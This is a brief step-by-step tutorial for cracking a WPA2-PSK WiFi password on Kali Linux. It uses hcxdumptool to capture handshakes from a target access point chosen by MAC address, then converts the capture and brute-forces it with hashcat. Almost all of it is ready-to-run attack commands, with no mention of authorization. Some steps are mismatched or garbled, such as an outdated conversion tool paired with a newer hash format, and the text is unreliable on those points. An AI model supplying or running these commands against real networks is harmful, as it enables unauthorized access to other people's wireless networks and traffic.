A sample to crack the WiFi password with WPA2-PSK on Kali Linux

1. Update and upgrade the system

sudo apt-get update && sudo apt-get upgrade

2. Install hcxtools

sudo apt-get install hcxtools

3. Stop the network manager service

sudo systemctl stop NetworkManager.service
sudo systemctl stop wpa_supplicant.service

4. Create the bpf filter

sudo hcxdumptool --bpfc="wlan addr1 112233445566" >> attack.bpf

Replace 112233445566 with the MAC address of the target AP you want to crack.

sudo hcxdumptool --bpfc="not wlan addr3 112233445566" >> protect.bpf

Replace 112233445566 with the MAC address of the target AP you want to protect.

5. Sniff the network traffic

sudo hcxdumptool -i interface -w capture.pcapng --bpf=attack.bpf

Replace interface with the name of the wireless interface you are using.

Then, patiently wait for the network traffic to be captured as points R 1 3 P S have + marks.

6. Reopen the network manager service

sudo systemctl start NetworkManager.service
sudo systemctl start wpa_supplicant.service

This step is unnecessary as the network manager service will be restarted automatically after system startup.

7. Crack the password

1. Transform the captured network traffic to a hash file

sudo hcxpcaptool -o hash.hc22000 capture.pcapng

2. Start the hashcat tool

hashcat -m 22000 hash.hc22000

check the hashcat documentation https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2#attack_examples for the specific options to use.

As hashcat can run on multi-platform, you can speed up the process by using the GPU drivers of your graphics card.